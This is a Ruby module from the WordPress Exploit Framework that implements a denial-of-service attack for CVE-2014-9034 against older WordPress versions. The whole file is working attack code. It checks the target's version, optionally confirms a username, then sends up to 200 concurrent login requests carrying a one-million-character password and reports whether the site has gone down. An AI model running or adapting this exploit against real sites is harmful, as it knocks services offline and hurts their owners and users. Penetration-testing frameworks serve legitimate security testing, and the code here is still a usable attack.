lib/wpxf/modules/auxiliary/dos/long_password_dos.rb
# frozen_string_literal: true
class Wpxf::Auxiliary::LongPasswordDos < Wpxf::Module
include Wpxf
include Wpxf::Net::HttpClient
include Wpxf::WordPress::Login
include Wpxf::WordPress::User
def initialize
super
update_info(
name: 'Long Password DoS',
desc: 'WordPress before 3.7.5, 3.8.x before 3.8.5, 3.9.x before 3.9.3, '\
'and 4.x before 4.0.1 allows remote attackers to cause a denial '\
'of service via a long password that is improperly handled during '\
'hashing.',
author: [
'Javier Nieto Arevalo', # Vulnerability disclosure
'Andres Rojas Guerrero', # Vulnerability disclosure
'rastating' # WPXF module
],
references: [
['CVE', '2014-9034'],
['WPVDB', '7681'],
['URL', 'http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-9034']
],
date: 'Nov 20 2014'
)
register_options([
IntegerOption.new(
name: 'pass_length',
required: true,
desc: 'Length of the password to use',
default: 1_000_000
),
IntegerOption.new(
name: 'max_requests',
required: true,
desc: 'Max number of requests to send',
default: 200
),
IntegerOption.new(
name: 'http_client_timeout',
desc: 'Max wait time in seconds for HTTP responses',
default: 5,
required: true
),
StringOption.new(
name: 'username',
desc: 'The username to attempt to login with',
required: true,
default: ''
),
BooleanOption.new(
name: 'validate_user',
desc: 'Validate the specified username',
required: true,
default: true
)
])
end
def should_validate_user?
normalized_option_value('validate_user')
end
def username
normalized_option_value('username')
end
def max_requests
normalized_option_value('max_requests')
end
def pass_length
normalized_option_value('pass_length')
end
def check
target_version = wordpress_version
vuln_ranges = [
[Gem::Version.new('0'), Gem::Version.new('3.7.5')],
[Gem::Version.new('3.8'), Gem::Version.new('3.8.5')],
[Gem::Version.new('3.9'), Gem::Version.new('3.9.3')],
[Gem::Version.new('4.0'), Gem::Version.new('4.0.1')]
]
return :unknown if target_version.nil?
vuln_ranges.each do |range|
if target_version >= range[0] && target_version < range[1]
return :vulnerable
end
end
:safe
end
def run
return false unless super
if should_validate_user?
emit_info "Checking if user \"#{username}\" exists..."
unless wordpress_user_exists?(username)
emit_error 'The specified user does not exist, aborting operation.'
return
end
end
emit_info "Generating payload..."
pass = Wpxf::Utility::Text.rand_alpha(pass_length)
opts = {
url: wordpress_url_login,
method: :post,
body: wordpress_login_post_body(username, pass)
}
emit_info "Preparing #{max_requests} requests..."
complete_requests = 0
max_requests.times do
queue_request(opts) do |res|
complete_requests += 1
emit_warning("#{complete_requests} requests executed") if complete_requests % 10 == 0
end
end
emit_info "Beginning execution of #{max_requests} requests over #{max_http_concurrency} threads"
execute_queued_requests
emit_success 'Finished executing requests'
if wordpress_and_online?
emit_error "FAILED: #{full_uri} appears to still be online"
return false
else
emit_success "#{full_uri} appears to be down"
return true
end
end
end